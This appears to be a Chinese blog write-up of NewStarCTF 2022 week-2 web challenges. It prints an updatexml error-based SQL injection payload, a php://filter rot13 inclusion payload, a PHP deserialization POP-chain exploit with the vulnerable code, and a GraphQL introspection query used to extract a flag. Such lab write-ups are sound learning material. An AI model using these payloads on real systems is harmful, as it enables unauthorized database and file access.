• newstarctf2022week2


     Word-For-You(2 Gen)

     和week1 的界面一样不过当时我写题的时候出了个小插曲

    连接 MySQL 失败: Access denied for user 'root'@'localhost'

    这句话印在了背景,后来再进就没了,我猜测是报错注入

    想办法传参 可以看到一个name=2,试着传参

    发现有回显三个字段

    爆库

    ~wfy~

    尝试爆表

     

    这是第一个

     

    wfy_admin 
    wfy_comments
    wfy_information

    查看admin

    1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='wfy_admin' limit 0,1),0x7e),3)--+

    记录一下所有列名:id,username、password、cookie  

     没有回显看下一个内容

    记录一下列名:id、text、user、name、display,一共五个列

    ?name=-1' and updatexml(1,concat(0x7e,(select id from wfy_comments limit 0,1),0x7e),1)--+

    有回显

    多输入几位看看有多少行数据,测试了一下,有12列,可以更换列名,挨个尝试 

    按照经验多半在text里

    为了节约工作量这里可以用burp试,

     

     发现flag:flag{Ju4t_m2ke_some_err0rs}

    IncludeOne

     很显然Hint需要用给的工具解开

    去搜了一下这个工具要在虚拟机上用

    最后结果是1202031004

    第二个if是判断传入的file参数过滤base以及目录穿越
    而且必须含有Newstar,最后需要包含flag.php
    看起来是伪协议套一层协议
    因为base被过滤了所以这里用rot13

    payload=php://filter/read=string.rot13/newstar/resource=flag.php 

     

    flag{6e648778-bb69-49b9-9447-2b83433c4f74} 

    UnserializeOne

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. #Something useful for you : https://zhuanlan.zhihu.com/p/377676274
    4. class Start{
    5. public $name;
    6. protected $func;
    7. public function __destruct()
    8. {
    9. echo "Welcome to NewStarCTF, ".$this->name;
    10. }
    11. public function __isset($var)
    12. {
    13. ($this->func)();
    14. }
    15. }
    16. class Sec{
    17. private $obj;
    18. private $var;
    19. public function __toString()
    20. {
    21. $this->obj->check($this->var);
    22. return "CTFers";
    23. }
    24. public function __invoke()
    25. {
    26. echo file_get_contents('/flag');
    27. }
    28. }
    29. class Easy{
    30. public $cla;
    31. public function __call($fun, $var)
    32. {
    33. $this->cla = clone $var[0];
    34. }
    35. }
    36. class eeee{
    37. public $obj;
    38. public function __clone()
    39. {
    40. if(isset($this->obj->cmd)){
    41. echo "success";
    42. }
    43. }
    44. }
    45. if(isset($_POST['pop'])){
    46. unserialize($_POST['pop']);
    47. }

    很明显是一道php反序列化的题,捋清pop链的顺序,然后构造pop链

    1. __construct(),类的构造函数
    2. __destruct(),类的析构函数
    3. __call(),在对象中调用一个不可访问方法时调用
    4. __callStatic(),用静态方式中调用一个不可访问方法时调用
    5. __get(),获得一个类的成员变量时调用
    6. __set(),设置一个类的成员变量时调用
    7. __isset(),当对不可访问属性调用isset()或empty()时调用
    8. __unset(),当对不可访问属性调用unset()时被调用。
    9. __sleep(),执行serialize()时,先会调用这个函数
    10. __wakeup(),执行unserialize()时,先会调用这个函数
    11. __toString(),类被当成字符串时的回应方法
    12. __invoke(),调用函数的方式调用一个对象时的回应方法
    13. __set_state(),调用var_export()导出类时,此静态方法会被调用。
    14. __clone(),当对象复制完成时调用
    15. __autoload(),尝试加载未定义的类
    16. __debugInfo(),打印所需调试信息

     我们最后要利用这个函数,echo file_get_contents('/flag');所以__invoke()在最后使用,往上继续推public function __isset($var)
        {
            ($this->func)();

    这个调用__invoke(),继续一直往上推这样一个pop链就能写出来,这个函数调用    public function __clone()
        {
            if(isset($this->obj->cmd)){
                echo "success";
            }
    然后pop链顺序为class Start(public function __destruct())--->class Sec(__toString())--->
    class Easy(public function __call($fun, $var))--->class eeee(__clone())--->class Start(__isset($var))--->class Sec(__invoke())

    值得注意的是,这有protected,需要从类内部操作,不能从外面赋。改成public

    1. class Start{
    2. public $name;
    3. public $func;
    4. }
    5. class Sec{
    6. public $obj;
    7. public $var;
    8. }
    9. class Easy{
    10. public $cla;
    11. }
    12. class eeee{
    13. public $obj;
    14. }
    15. $pop=new Start();
    16. $pop->name=new Sec();
    17. $pop->name->obj=new Easy();
    18. $pop->name->var=new eeee();
    19. $pop->name->var->obj=new Start();
    20. $pop->name->var->obj->func=new Sec();
    21. echo urlencode(serialize($pop));

    这里我有点不清楚 

    $pop->name->var=new eeee();

    为啥var到eeee,一开始我个人觉得是这么整var->new Easy()->new eeee()我这里是试出来的因为原来构造出来的行不通,后来问了问学长说看var那个类里就行,obj-check(var),obj给那个有call的类,那个没有check方法,调call,call里有clone函数,clone var之后会调var的__clone

     得出结果

     我的火狐可能有点问题,一开始试了几次没出结果,然后重新打开网址可以了

    这里还有一种构造思路

    1. class Start{
    2. public $name;
    3. public $func;
    4. }
    5. class Sec{
    6. public $obj;
    7. public $var;
    8. }
    9. class Easy{
    10. public $cla;
    11. }
    12. class eeee{
    13. public $obj;
    14. }
    15. $start = new Start();
    16. $sec = new Sec();
    17. $easy = new Easy();
    18. $eeee = new eeee();
    19. $eeee->obj = $start;
    20. $sec->obj = $easy;
    21. $sec->var = $eeee;
    22. $start->name = $sec;
    23. $start->func = $sec;
    24. echo serialize($start);
    25. ?>

    个人偏向前一直思路,可以直观的看出来

    ezAPI

    API(Application Programming Interface,应用程序接口)是指两个不同软件应用之间进行交互的一组方法。它是现代软件开发中不可或缺的一部分,让不同的应用程序能够相互通信、共享数据,并且以一种有序的方式进行整合。

    1. Web API

    Web API是一组基于HTTP协议的RESTful API,它通常由Web服务器提供。此类API包括各种网络服务,如社交媒体、搜索引擎、电子商务等。开发人员可以使用Web API来获取第三方数据或在其他应用程序中共享数据。

    Web API具有高度的可扩展性,并且可以通过API文档和API密钥进行访问控制。开发人员可以使用Web API来构建各种应用程序,如智能家居、移动应用程序等。

     

     

    这题 一开始没有什么思路1输入1有回显

    输入999查不到,并且报错,肯定是一种注入,一开始试了几种都没有用

     查看源代码也没有什么收获,于是试了试robots.txt等

    然后www.zip有用,打开文件

    1. <!DOCTYPE html>
    2. <html>
    3. <head>
    4. <meta charset="utf-8" />
    5. <title>Search Page</title>
    6. <link rel="stylesheet" type="text/css" href="css/style.css" tppabs="css/style.css" />
    7. <style>
    8. body {
    9. height: 100%;
    10. background: #16a085;
    11. overflow: hidden;
    12. }
    13. canvas {
    14. z-index: -1;
    15. position: absolute;
    16. }
    17. </style>
    18. <script src="js/jquery.js"></script>
    19. <script src="js/verificationNumbers.js" tppabs="js/verificationNumbers.js"></script>
    20. <script src="js/Particleground.js" tppabs="js/Particleground.js"></script>
    21. <script>
    22. $(document).ready(function() {
    23. $('body').particleground({
    24. dotColor: '#5cbdaa',
    25. lineColor: '#5cbdaa'
    26. });
    27. });ß
    28. </script>
    29. </head>
    30. <!--unremove DEBUG function, please delete it-->
    31. <body>
    32. <dl class="admin_login">
    33. <dt>
    34. <font color="white"><strong>Search Page Beta</strong></font>
    35. </dt>
    36. <form action="index.php" method="post">
    37. <dd class="user_icon">
    38. <input type="text" name="id" placeholder="用户ID" class="login_txtbx" />
    39. </dd>
    40. <dd>
    41. <input type="submit" value="Search" class="submit_btn" />
    42. </dd>
    43. </form><br>
    44. <center>
    45. <font size="4px" color="white">
    46. <?php
    47. error_reporting(0);
    48. $id = $_POST['id'];
    49. function waf($str)
    50. {
    51. if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
    52. return False;
    53. } else {
    54. return True;
    55. }
    56. }
    57. function send($data)
    58. {
    59. $options = array(
    60. 'http' => array(
    61. 'method' => 'POST',
    62. 'header' => 'Content-type: application/json',
    63. 'content' => $data,
    64. 'timeout' => 10 * 60
    65. )
    66. );
    67. $context = stream_context_create($options);
    68. $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
    69. return $result;
    70. }
    71. if (isset($id)) {
    72. if (waf($id)) {
    73. isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
    74. $res = json_decode(send($data));
    75. if ($res->data->users_user_by_pk->name !== NULL) {
    76. echo "ID: " . $id . "
      Name: "
      . $res->data->users_user_by_pk->name;
    77. } else {
    78. echo "Can't found it!

      DEBUG: "
      ;
    79. var_dump($res->data);
    80. }
    81. } else {
    82. die("Hacker! Only Number!");
    83. }
    84. } else {
    85. die("No Data?");
    86. }
    87. ?>
    88. </font>
    89. </center>
    90. </dl>
    91. </body>
    92. </html>

    $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}'

    这个数据没见过,去查了一下

    这里是我第一次接触graphql

    玩转graphQL (qq.com)这篇文章讲的很详细

    GraphQL 是一个用于 API的查询语言,使用基于类型系统来执行查询的服务(类型系统由你的数据定义)。GraphQL 并没有和任何特定数据库或者存储引擎绑定,而是依靠你现有的代码和数据支撑。

    如果你了解REST API会更快地了解它。像REST API,往往我们的请求需要多个API,每个API是一个类型。比如:http://www.test.com/users/{id} 这个API可以获取用户的信息;再比如:http://www.test.com/users/list 这个API可以获取所有用户的信息。

    "query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

    利用内省查询看到所有接口情况

    可以看到flag的文件

    模仿一下上面给出的data格式 得到flag

    flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}

  • 相关阅读:
    【AI处理器组合】python实现-附ChatGPT解析
    LT146 LRU
    java 把a.txt文件中的内容复制到当前项目目录下的b.txt文件中,2种方式比较复制效率 毫秒比较
    VTN4系列多通道振弦模拟信号采集仪模拟通道值和振弦传感器温度通道值修正
    如何做好供应商绩效管理?
    网络安全(黑客)自学
    为什么 conda 不能升级 python 到 3.12
    后厂村路灯:苹果签名是什么? 苹果签名有什么作用?苹果签名能做什么?原理是什么?有哪些方式?
    JavaSE_day10【枚举、包装类、接口】
    React Native 项目配置 Flow (windows环境)
  • 原文地址:https://blog.csdn.net/kuzemax/article/details/134161667